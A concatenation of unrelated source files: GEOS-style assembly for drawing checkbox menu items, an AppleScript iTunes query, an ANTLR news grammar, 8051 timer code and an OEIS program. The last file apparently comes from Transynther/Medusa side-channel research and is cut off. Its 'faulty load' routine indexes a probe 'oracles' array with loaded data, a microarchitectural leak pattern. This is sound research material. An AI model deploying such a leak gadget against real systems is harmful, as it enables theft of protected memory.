; CUA: if the DEPRESSED state just went to FALSE, MUST redraw
; checkmark because the highlight overlaps the X-mark.
;
NOT_MO< test bh, mask OLBSS_DEPRESSED ;is item depressed? >
NOT_MO< jz doUpdateSelected ;skip if not... >
endif ;_BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
updateSelected:
test al, mask OLBSS_SELECTED ; has selected state changed?
jz updateBordered ; skip if not...
doUpdateSelected:
;
; Now: update SELECTED state
;
push ax, bx, cx, dx
mov ax, C_BLACK
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
;
; If item selection is indicated by depression (which is
; represented by reverse video), then the radio button should
; be drawn black ONLY IF (SELECTED xor DEPRESSED) is true.
;
mov ch, bh ; move specState (low byte) into ch
;
; ensure that the shift operand is positive
;
CheckHack <((offset OLBSS_SELECTED) - (offset OLBSS_DEPRESSED)) gt 0>
;
; shift the depressed bit over into the selected bit position
;
mov cl, (offset OLBSS_SELECTED) - (offset OLBSS_DEPRESSED)
shl ch, cl
xor ch, bh
;
; ch and OLBSS_SELECTED == OLBSS_DEPRESSED xor OLBSS_SELECTED
;
test ch, mask OLBSS_SELECTED
else ; not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED and not _ISUI
;
; Simply check if the item is selected.
;
test bh, mask OLBSS_SELECTED ; is item selected?
endif ; _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
jnz drawIt ; skip if so...
mov ax, C_WHITE
drawIt:
call GrSetAreaColor
call GrSetLineColor
MO < call ItemDrawBWInnerSquareMark >
ISU < call ItemDrawBWCheckmarkInBox >
NOT_MO< call ItemDrawBWXMark >
pop ax, bx, cx, dx
updateBordered:
if not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
if _MOTIF or _ISUI ;------------------------------------------------------
;
; Motif: if in menu, then BORDERED flag might be set.
; see if BORDERED state changed.
test al, mask OLBSS_BORDERED
jz done ; skip if not...
;
; Draw or erase BORDER according to state.
;
call ItemDrawBWMotifItemBorderIfInMenu
endif ; _MOTIF or _ISUI ----------------------------------------------------
endif ; not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
done:
.leave
ret
ItemDrawBWNonExclusiveItemPartial endp
endif ; _CUA_STYLE ----------------------------------------------------------
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawNonExclusiveCheckbox
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the checkbox & border for a non-exclusive item.
CALLED BY: ItemDrawBWNonExclusiveItem
PASS: *ds:si -- instance data
al = flags which have changed
bl = OLII_state
bh = OLBI_specState (low byte)
cl = OLBI_optFlags
ch = TRUE if full redraw is requested
dl = GI_states
dh = OLII_state
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 4/30/95 Pulled from ItemDrawBWNonExclusiveItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ItemDrawNonExclusiveCheckbox proc near
.enter
push ax, bx, cx, dx
;
; Stylus: Draw the depressed background, if necessary.
;
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
clr ah ; redraw depressed background
call ItemDrawBWItemDepressedIfInMenu
call ItemBWForegroundColorIfDepressedIfInMenu ; choose color
else ;_BW_MENU_ITEM_SELECTION_IS_DEPRESSED is FALSE and _ISUI is FALSE
mov ax, C_BLACK
endif ;_BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
call GrSetAreaColor
call GrSetLineColor
;commented out so outline *does* draw when unselected - brianc 6/3/93
;MO < call OLItemIsInMenu ;no outline in menus (cbh 3/ 8/93) >
;MO < jnz noCheckboxOutline >
call GetCheckboxBounds
call GrDrawRect
;
; Draw the border or highlight if necessary.
;
;MO <noCheckboxOutline: >
pop ax, bx, cx, dx
;
; Motif: draw the border if necessary
;
if not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
;
; Not done if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED because we
; don't care about bordered: we are going to invert the button.
;
if _MOTIF or _ISUI
call ItemDrawBWMotifItemBorderIfInMenu
endif
endif ;not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
call ItemBWForegroundColorIfDepressedIfInMenu ; choose color
else
mov ax, C_BLACK
endif ; _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
call GrSetAreaColor
;
; Do not represent depressed with a highlight.
;
if not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
;
; Draw the highlight.
;
test bh, mask OLBSS_DEPRESSED ; is item depressed?
jz 50$ ; skip if not...
push ax, bx, cx, dx
call ItemDrawBWNonExclHighlight
pop ax, bx, cx, dx
endif ; not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
50$:
;
; Draw the X or checkmark.
;
test bh, mask OLBSS_SELECTED ;is item selected?
jz 60$ ;skip if not...
push ax, bx, cx, dx
OLS < call ItemDrawBWCheckmarkInBox >
MO < call ItemDrawBWInnerSquareMark >
ISU < call ItemDrawBWCheckmarkInBox >
NOT_MO< call ItemDrawBWXMark >
pop ax, bx, cx, dx
60$:
.leave
ret
ItemDrawNonExclusiveCheckbox endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWNonExclHighlight
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the inside highlight for a non-exclusive item.
CALLED BY: ItemDrawBWNonExclusiveItem
PASS: di = gstate
RETURN: nothing
DESTROYED: ax, bx, cx, dx
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 4/90 initial version
Chris 4/91 Updated for new graphics, bounds conventions
Chris 5/92 GenItemGroupClass V2.0 rewrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
; Don't need this if represent depressed with reverse video
if not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
ItemDrawBWNonExclHighlight proc near
call GetCheckboxBounds
inc ax
inc bx
dec cx
dec dx
call GrDrawRect
ret
ItemDrawBWNonExclHighlight endp
endif ;not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWCheckmarkInBox
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: draw the Checkmark for an OpenLook item.
CALLED BY: ItemDrawBWNonExclusiveItem
PASS: di = gstate
RETURN: nothing
DESTROYED: ax, bx, cx, dx
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 4/90 initial version
Chris 4/91 Updated for new graphics, bounds conventions
Chris 5/92 GenItemGroupClass V2.0 rewrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _OL_STYLE ;--------------------------------------------------------------
ItemDrawBWCheckmarkInBox proc near
uses ds, si
.enter
call GetCheckboxBounds
clr dx
inc ax
sub bx, CHECK_TOP_BORDER
push ax
mov ax, C_WHITE
call GrSetAreaColor
pop ax
FXIP < push ax, bx >
FXIP < mov bx, handle DrawBWRegions >
FXIP < call MemLock >
FXIP < mov ds, ax >
FXIP < pop ax, bx >
NOFXIP< segmov ds, cs >
mov si, offset bwCheckOutBM
call GrFillBitmap
push ax
mov ax, C_BLACK
call GrSetAreaColor
pop ax
mov si, offset bwCheckBM
call GrFillBitmap
FXIP < push bx >
FXIP < mov bx, handle DrawBWRegions >
FXIP < call MemUnlock >
FXIP < pop bx >
.leave
ret
ItemDrawBWCheckmarkInBox endp
endif ; _OL_STYLE ----------------------------------------------------------
if _ISUI ;------------------------------------------------------------
ItemDrawBWCheckmarkInBox proc near
uses ds, si
.enter
call GetCheckboxBounds
FXIP < push ax, bx >
FXIP < mov bx, handle DrawBWRegions >
FXIP < call MemLock >
FXIP < mov ds, ax >
FXIP < pop ax, bx >
NOFXIP< segmov ds, cs >
mov si, offset checkBM
call GrFillBitmap
FXIP < push bx >
FXIP < mov bx, handle DrawBWRegions >
FXIP < call MemUnlock >
FXIP < pop bx >
.leave
ret
ItemDrawBWCheckmarkInBox endp
if _FXIP
DrawBW ends
DrawBWRegions segment resource
endif
checkBM label word
word CHECK_WIDTH
word CHECK_HEIGHT
byte 0, BMF_MONO
byte 00000000b, 00000000b
byte 00000000b, 01110000b
byte 00000000b, 01100000b
byte 00000000b, 11100000b
byte 00000000b, 11000000b
byte 00000001b, 11000000b
byte 00111001b, 10000000b
byte 00011111b, 10000000b
byte 00001111b, 00000000b
byte 00000111b, 00000000b
byte 00000010b, 00000000b
byte 00000000b, 00000000b
if _FXIP
DrawBWRegions ends
DrawBW segment resource
endif
endif ; endif of if _ISUI ------------------------------------------
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWInnerSquareMark
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: draw the inner square mark in a Motif non-exclusive item
CALLED BY: ItemDrawBWNonExclusiveItem
PASS: di = gstate
RETURN: nothing
DESTROYED: ax, bx, cx, dx
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 4/90 initial version
Chris 4/91 Updated for new graphics, bounds conventions
Chris 5/92 GenItemGroupClass V2.0 rewrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _MOTIF
ItemDrawBWInnerSquareMark proc near
call GetCheckboxBounds
add ax, 1 ;inset less nowadays.
add bx, 1
sub cx, 0 ;used to be 2, adjusted for new graphics stuff
sub dx, 0 ;ditto
call GrFillRect
ret
ItemDrawBWInnerSquareMark endp
endif ; _MOTIF
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWMotifItemBorderIfInMenu
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draws or erases border around a Motif item (excl or non-excl)
which is in a menu, according to the BORDERED flag.
(This flag is set when the item is CURSORED.)
CALLED BY: ItemDrawBWNonExclusiveItem
PASS: *ds:si -- instance data
al = flags which have changed
bl = OLII_state
bh = OLBI_specState (low byte)
cl = OLBI_optFlags
ch = TRUE if full redraw is requested
dl = GI_states
dh = OLII_state
di = GState
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 6/90 initial version
Chris 5/92 GenItemGroupClass V2.0 rewrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if (not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED) and (_MOTIF or _ISUI) ;-----
ItemDrawBWMotifItemBorderIfInMenu proc near
;if this item is inside a menu...
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLBI_specState, mask OLBSS_IN_MENU
pop di
jz done ;skip if not...
push ds, ax, bx, cx, dx, bp ;I am a wimp!
call OLButtonMovePenCalcSize ;position pen, (cx, dx) =
;size of button
;pass bx = OLBI_specState (only tests OLBSS_BORDERED, so only
;pass lower byte of word value)
mov ax, segment idata
mov ds, ax ;point to BWButtonRegionSetStruct
;structure, which points to region
;definition we can use.
mov bp, offset MOBWButtonRegionSet_menuItem
mov bl, bh ;set bl = OLBI_specState (low byte)
call UpdateBWButtonBorder
pop ds, ax, bx, cx, dx, bp
done:
ret
ItemDrawBWMotifItemBorderIfInMenu endp
endif ;(not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED) and (_MOTIF or _ISUI) ;-----
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemBWForegroundColorIfDepressedIfInMenu
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Returns the foreground color for an item if it is in a menu
based upon the depressed bit.
CALLED BY: ItemDrawBWRadioButton, ItemDrawBWNonExclusiveItem
PASS: *ds:si = item object ptr
RETURN: ax = color
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 5/ 4/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
ItemBWForegroundColorIfDepressedIfInMenu proc near
uses di
.enter
mov di, ds:[si]
add di, ds:[di].Vis_offset
mov ax, C_BLACK
test ds:[di].OLBI_specState, mask OLBSS_IN_MENU
jz done
test ds:[di].OLBI_specState, mask OLBSS_DEPRESSED
jz done
mov ax, C_WHITE
done:
.leave
ret
ItemBWForegroundColorIfDepressedIfInMenu endp
endif ;_BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWItemDepressedIfInMenu
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draws/erases or XOR's inverted background around item (both
excl and non-excl) which is in a menu, according to the
DEPRESSED flag.
CALLED BY: ItemDrawBWRadioButton, ItemDrawBWNonExclusiveItem
PASS: *ds:si = instance data
di = gstate
ah = TRUE to Update (XOR), FALSE to ReDraw (COPY)
background
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 5/ 3/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
ItemDrawBWItemDepressedIfInMenu proc near
push bp
mov bp, ds:[si]
add bp, ds:[bp].Vis_offset
test ds:[bp].OLBI_specState, mask OLBSS_IN_MENU
jz doReturn ; skip if not in menu
push ax, bx, cx, dx, si, ds
; need whole word of data.. only lower byte available in args, so
; ignore that.
mov bx, ds:[bp].OLBI_specState
call OLButtonMovePenCalcSize ; position pen
; (cx,dx) = button size
segmov es, ds, bp ; update requires *es:si=object
mov bp, segment idata
mov ds, bp ; point to BWButtonRegionSetStr
; structure, which has a region
; def'n we can use.. in dgroup
mov bp, offset MOBWButtonRegionSet_menuItem
tst ah ; update or redraw
jz redrawBackground
; update background
call UpdateBWButtonDepressed ; destroys ax, si
done:
pop ax, bx, cx, dx, si, ds
doReturn:
pop bp
ret
redrawBackground:
; clear background
mov ax, C_WHITE
call DrawBWButtonBackground ; destroys ax, si
; check if we need to draw the interior depressed
test bx, mask OLBSS_DEPRESSED
jz done ; dont need to draw interior
call DrawBWButtonDepressedInterior ; destroys ax, si
jmp done
ItemDrawBWItemDepressedIfInMenu endp
endif ;_BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
if _FXIP
DrawBW ends
DrawBWRegions segment resource
endif
if _OL_STYLE ;---------------------------------------------------------------
;Bitmap to use when checkmark item set
bwCheckBM label word
word CHECK_WIDTH
word CHECK_HEIGHT
byte 0, BMF_MONO
byte 00000000b, 00001000b
byte 00000000b, 00110000b
byte 00000000b, 01100000b
byte 00000000b, 11000000b
byte 00010001b, 10000000b
byte 00111011b, 10000000b
byte 01111111b, 00000000b
byte 00111111b, 00000000b
byte 00011110b, 00000000b
byte 00001110b, 00000000b
byte 00000100b, 00000000b
bwCheckOutBM label word
word CHECK_WIDTH
word 5
byte 0, BMF_MONO
byte 00000000b, 11111000b
byte 00000000b, 11111000b
byte 00000000b, 11111000b
byte 00000000b, 11111000b
byte 00000000b, 11111000b
endif ;---------------------------------------------------------------
if _FXIP
DrawBWRegions ends
else
DrawBW ends
endif
|
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/___fs2schar.asm | Frodevan/z88dk | 640 | 10835 | <reponame>Frodevan/z88dk
SECTION code_fp_math32
PUBLIC ___fs2schar
EXTERN cm32_sdcc___fs2schar
defc ___fs2schar = cm32_sdcc___fs2schar
|
scripts/itunes/en/currentTrack.applescript | dnedry2/vscode-itunes | 16 | 4565 | if application "iTunes" is running then
tell application "iTunes"
set itrack to artist of current track & "|"
set itrack to itrack & name of current track & "|"
set itrack to itrack & album of current track & "|"
set itrack to itrack & media kind of current track & "|"
set itrack to itrack & player state & "|"
set itrack to itrack & sound volume & "|"
set itrack to itrack & mute & "|"
set itrack to itrack & shuffle enabled & "|"
set itrack to itrack & song repeat & "|"
set itrack to itrack & loved of current track & "|"
set itrack to itrack & disliked of current track
return itrack
end tell
end if |
grammars/news.g4 | jcm300/iBanda | 2 | 3342 | <filename>grammars/news.g4<gh_stars>1-10
grammar news;
newspaper returns [var val, var errors]
@init{
$val = []
$errors = []
}
:'NEWS:' (news {
if($news.error!="") $errors.push($news.error);
else $val.push($news.val);
} ';')+
;
news returns [var val, var error]
@init{
function today(){
var today = new Date();
var dd = today.getDate();
var mm = today.getMonth() + 1; //January is 0!
var yyyy = today.getFullYear();
if (dd < 10) {
dd = '0' + dd;
}
if (mm < 10) {
mm = '0' + mm;
}
today = yyyy + '-' + mm + '-' + dd;
return today;
}
var existTopics = false
var existAuthors = false
}
: titles (topics {existTopics = true})? body date (authors {existAuthors = true})?
{
if(today()>=$date.val){
$val = {
title: $titles.titleOut,
subtitle: $titles.subtitle,
body: $body.val,
date: $date.val
}
if(existTopics) $val.topics = $topics.val
else $val.topics = []
if(existAuthors) $val.authors = $authors.val
else $val.authors = []
$error = ""
}else{
$val = ""
$error = "Date is in the future on \"" + $titles.titleOut + "\" article!"
}
}
;
titles returns [var titleOut, var subtitle]
@init{
var subExists = false
}
: 'TITLE:' t=title ('SUBTITLE:' s=title {subExists = true})?
{
$titleOut = $t.val
if(subExists) $subtitle = $s.val
else $subtitle = ""
}
;
title returns [var val]
: TEXT {$val = $TEXT.text.substring(1, $TEXT.text.length-1)}
;
topics returns [var val]
@init{
$val = []
}
: 'TOPICS:' t1=topic {$val.push($t1.val)} (',' t2=topic {$val.push($t2.val)})*
;
topic returns [var val]
: TEXT {$val = $TEXT.text.substring(1, $TEXT.text.length-1)}
;
body returns [var val]
: 'BODY:' TEXT {$val = $TEXT.text.substring(1, $TEXT.text.length-1)}
;
date returns [var val]
: 'DATE:' DATE {$val = $DATE.text}
;
authors returns [var val]
@init{
$val = []
}
: 'AUTHORS:' a1=author {$val.push($a1.val)} (',' a2=author {$val.push($a2.val)})*
;
author returns [var val]
: TEXT {$val = $TEXT.text.substring(1, $TEXT.text.length-1)}
;
/* Definição do Analisador Léxico */
TEXT: (['"] ~(['"])* ['"]);
fragment DIGIT: [0-9];
DATE: DIGIT DIGIT DIGIT DIGIT '-' DIGIT DIGIT '-' DIGIT DIGIT;
Separator: ( '\r'? '\n' | ' ' | '\t' )+ -> skip; |
DE-LAB-5/main.asm | tustunkok/CMPE236-Labs | 0 | 29730 | <reponame>tustunkok/CMPE236-Labs<gh_stars>0
N1_LB EQU 31H
N1_HB EQU 30H
N2_LB EQU 33H
N2_HB EQU 32H
RESULT EQU 40H
ORG 0000H
SJMP MAIN
ORG 000BH
LJMP LED_SUB
ORG 0030H
MAIN:
SETB IE.7 ;EA
SETB ET0 ;MOV IE,#10000010B
MOV R2, #02D
MOV R3, #00H
ACALL DELAY
HALT: SJMP HALT
;=========================================================
LED_SUB:
CLR TR0
;CLR TF0 ;KENDİSİ YAPIYOR
CPL P1.0
MOV R2, #02H
MOV R3, #00H
ACALL DELAY
RETI
;=========================================================
; PARAMETERS: R2 -> DELAY TIME (MILLISECONDS)
DELAY:
MOV TMOD, #00000001B
MOV TL0, #0FFH
MOV TH0, #0FFH
MOV N1_LB, R2
MOV N1_HB, R3
;- OVERHEAD
MOV N2_LB, #0E8H
MOV N2_HB, #03H
ACALL MUL_2BYTE
MOV A, TL0
CLR C
SUBB A, (RESULT + 3)
MOV TL0, A
MOV A, TH0
SUBB A, (RESULT + 2)
MOV TH0, A
SETB TR0
RET
MUL_2BYTE: MOV R0, #38H
MOV A, N1_LB
MOV B, N2_LB
MUL AB
MOV @R0, B
INC R0
MOV @R0, A
INC R0
MOV A, N1_HB
MOV B, N2_LB
MUL AB
MOV @R0, B
INC R0
MOV @R0, A
INC R0
MOV A, N1_LB
MOV B, N2_HB
MUL AB
MOV @R0, B
INC R0
MOV @R0, A
INC R0
MOV A, N1_HB
MOV B, N2_HB
MUL AB
MOV @R0, B
INC R0
MOV @R0, A
INC R0
MOV (RESULT + 3), 39H
MOV A, 38H
ADD A, 3BH
ADDC A, 3DH
MOV (RESULT + 2), A
MOV A, 3AH
ADDC A, 3CH
ADDC A, 3FH
MOV (RESULT + 1), A
CLR A
ADDC A, 3EH
MOV RESULT, A
RET
END |
oeis/153/A153154.asm | neoneye/loda-programs | 11 | 97014 | <filename>oeis/153/A153154.asm<gh_stars>10-100
; A153154: Permutation of natural numbers: A059893-conjugate of A006068.
; Submitted by <NAME>
; 0,1,3,2,7,4,5,6,15,8,9,14,11,12,13,10,31,16,17,30,19,28,29,18,23,24,25,22,27,20,21,26,63,32,33,62,35,60,61,34,39,56,57,38,59,36,37,58,47,48,49,46,51,44,45,50,55,40,41,54,43,52,53,42,127,64,65,126,67,124,125,66,71,120,121,70,123,68,69,122,79,112,113,78,115,76,77,114,119,72,73,118,75,116,117,74,95,96,97,94
mov $1,$0
trn $0,1
seq $0,59893 ; Reverse the order of all but the most significant bit in binary expansion of n: if n = 1ab..yz then a(n) = 1zy..ba.
seq $0,6068 ; a(n) is Gray-coded into n.
sub $0,1
seq $0,59893 ; Reverse the order of all but the most significant bit in binary expansion of n: if n = 1ab..yz then a(n) = 1zy..ba.
cmp $1,0
cmp $1,0
mul $0,$1
|
Transynther/x86/_processed/NONE/_ht_zr_/i9-9900K_12_0xca.log_21829_1073.asm | ljhsiun2/medusa | 9 | 164951 | <filename>Transynther/x86/_processed/NONE/_ht_zr_/i9-9900K_12_0xca.log_21829_1073.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x4b54, %rsi
lea addresses_UC_ht+0xe5b4, %rdi
nop
nop
nop
nop
sub %rax, %rax
mov $1, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp %r9, %r9
lea addresses_WC_ht+0x1a2d6, %r12
clflush (%r12)
nop
nop
cmp %rbx, %rbx
movb $0x61, (%r12)
nop
nop
nop
nop
nop
add $57767, %r9
lea addresses_WT_ht+0x1ea4c, %rcx
nop
nop
nop
nop
nop
and %rbx, %rbx
movl $0x61626364, (%rcx)
sub $31038, %rax
lea addresses_WC_ht+0xa0b4, %rsi
lea addresses_WC_ht+0x17db4, %rdi
nop
nop
nop
add $51888, %r9
mov $33, %rcx
rep movsq
nop
add $34115, %rax
lea addresses_WC_ht+0x9055, %r9
nop
nop
nop
nop
sub $44014, %rcx
movl $0x61626364, (%r9)
nop
nop
nop
nop
xor $44334, %rsi
lea addresses_WT_ht+0xb2b4, %r9
add $5859, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
and $0xffffffffffffffc0, %r9
vmovntdq %ymm3, (%r9)
nop
nop
sub $44127, %rcx
lea addresses_normal_ht+0x1c1b4, %rdi
nop
nop
nop
nop
nop
dec %rbx
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
nop
nop
sub $35754, %rdi
lea addresses_A_ht+0x9db4, %rbx
nop
nop
nop
add %rsi, %rsi
mov (%rbx), %rax
nop
add %r9, %r9
lea addresses_normal_ht+0x2146, %rsi
lea addresses_WT_ht+0x1c5b4, %rdi
dec %r15
mov $83, %rcx
rep movsw
nop
nop
nop
add %rax, %rax
lea addresses_UC_ht+0xbf34, %rax
clflush (%rax)
nop
nop
nop
inc %rdi
mov $0x6162636465666768, %r12
movq %r12, %xmm7
movups %xmm7, (%rax)
nop
nop
nop
and $49639, %rbx
lea addresses_UC_ht+0x179b4, %rax
clflush (%rax)
nop
nop
nop
nop
nop
and $8994, %r12
vmovups (%rax), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %rdi
nop
nop
nop
cmp $15587, %rdi
lea addresses_WT_ht+0xfbb4, %rdi
nop
nop
nop
nop
nop
and %rax, %rax
mov $0x6162636465666768, %r15
movq %r15, %xmm3
movups %xmm3, (%rdi)
cmp $62637, %rsi
lea addresses_WC_ht+0x1f6, %r15
nop
nop
nop
nop
sub $13012, %rbx
movw $0x6162, (%r15)
nop
nop
nop
sub %rbx, %rbx
lea addresses_WT_ht+0x184b4, %rsi
lea addresses_A_ht+0x4574, %rdi
nop
nop
nop
cmp %r12, %r12
mov $37, %rcx
rep movsb
nop
nop
nop
nop
nop
add $44578, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r9
push %rax
push %rbx
push %rcx
push %rdx
// Store
lea addresses_WT+0x15b4, %r13
nop
nop
xor $54611, %rbx
mov $0x5152535455565758, %r10
movq %r10, %xmm0
movups %xmm0, (%r13)
nop
nop
cmp %rbx, %rbx
// Load
lea addresses_WC+0x1adb4, %r13
xor %r9, %r9
movups (%r13), %xmm6
vpextrq $0, %xmm6, %rbx
nop
add %r9, %r9
// Load
lea addresses_US+0x165b4, %r9
nop
dec %rbx
movups (%r9), %xmm0
vpextrq $0, %xmm0, %rcx
nop
nop
nop
nop
dec %rcx
// Store
mov $0x4cc, %rax
nop
nop
sub %r13, %r13
mov $0x5152535455565758, %rdx
movq %rdx, %xmm5
vmovups %ymm5, (%rax)
nop
nop
nop
xor %r9, %r9
// Faulty Load
lea addresses_WC+0x1db4, %rbx
and $6480, %rax
vmovups (%rbx), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rdx
lea oracles, %r10
and $0xff, %rdx
shlq $12, %rdx
mov (%r10,%rdx,1), %rdx
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 3}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': True, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': True, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
